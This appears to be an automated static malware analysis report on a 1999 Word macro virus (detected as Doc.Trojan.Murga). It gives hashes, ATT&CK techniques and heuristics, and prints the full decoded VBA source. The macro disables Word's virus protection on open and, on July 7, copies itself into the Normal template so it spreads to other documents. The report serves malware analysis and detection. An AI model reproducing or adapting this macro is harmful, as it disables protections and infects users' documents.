Malicious Office (OLE) — malware analysis report

Static analysis result for SHA-256 628cc94ac5422ab6…

MALICIOUS

Office (OLE)

80.5 KB Created: 1999-06-12 00:46:00 Authoring application: Microsoft Word 9.0 First seen: 2012-06-14
MD5: 822da769e8babd17eca4eb86e2216cab SHA-1: 32c15f99f8a1219fd912fb5aa3b0d6f5ff9ae381 SHA-256: 628cc94ac5422ab642ebaab933b9f8c19c987471870edc8b082b2a841fc52b92
200 Risk Score

Malware Insights

MITRE ATT&CK
T1059.005 Visual Basic T1547.001 Registry Run Keys / Startup Folder

The sample contains a VBA macro with an AutoOpen function, which is a common technique for executing malicious code upon document opening. The macro attempts to export itself to 'c:\sys.sys' and import it into the Normal template, indicating an attempt at persistence or spreading. ClamAV detections further support its malicious nature.

Heuristics 4

  • ClamAV: Doc.Trojan.Murga-1 critical CLAMAV_DETECTION
    ClamAV detected this file as malware: Doc.Trojan.Murga-1
  • VBA macros detected medium 1 related finding OLE_VBA_MACROS
    Document contains VBA macro code
  • Document_Open macro high OLE_VBA_DOCOPEN
    Document_Open macro
  • Legacy WordBasic auto-exec macro marker medium OLE_LEGACY_WORDBASIC_AUTOEXEC
    OLE Word document contains a legacy WordBasic auto-execution marker such as AutoOpen, but no modern VBA project was recovered and no stronger macro-virus family marker was present. This is analyst-facing evidence for old Word macro execution surface, not a downloader or parser-CVE attribution by itself.

Extracted artifacts 1

Files carved from inside the sample during analysis.

FilenameKindSourceSize
macros.bas vba-macro oletools.olevba.extract_macros (decoded VBA source) 1145 bytes
SHA-256: 546aa989bef7a2a6d22e17dd79161f35b11aef63b3d719894d25d42a44c77b4f
Detection
ClamAV: Win.Trojan.C-286
Obfuscation or payload: unlikely
Preview script
First 1,000 lines of the extracted script
Attribute VB_Name = "nofrx"
Attribute VB_Base = "1Normal.ThisDocument"
Attribute VB_GlobalNameSpace = False
Attribute VB_Creatable = False
Attribute VB_PredeclaredId = True
Attribute VB_Exposed = True
Attribute VB_TemplateDerived = True
Attribute VB_Customizable = True
Sub Document_Open()
' NofrX.a by ImPUls3 ´99
' Special greetinz goes to Genesis
On Error GoTo kraj
 
With Options
    
    .VirusProtection = False
    .SaveNormalPrompt = False
    .ConfirmConversions = False
    
End With

If (Month(Now) = 7) And (Day(Now) = 7) Then

    ActiveDocument.VBProject.VBComponents.Item("nofrx").Export ("c:\sys.sys")
    NormalTemplate.VBProject.VBComponents.Import ("c:\sys.sys")
    
    If NormalTemplate.VBProject.VBComponents.Item("nofrx").Name <> "nofrx" Then
    NormalTemplate.VBProject.VBComponents.Import ("c:\sys.sys")
    End If
    If ActiveDocument.VBProject.VBComponents.Item("nofrx").Name <> "nofrx" Then
    ActiveDocument.VBProject.VBComponents.Import ("c:\sys.sys")
    End If
    MsgBox ("Danas je rodjendan Murga-drotu!!!! Ohoooooo!"), vbInformation

End If
kraj:
End Sub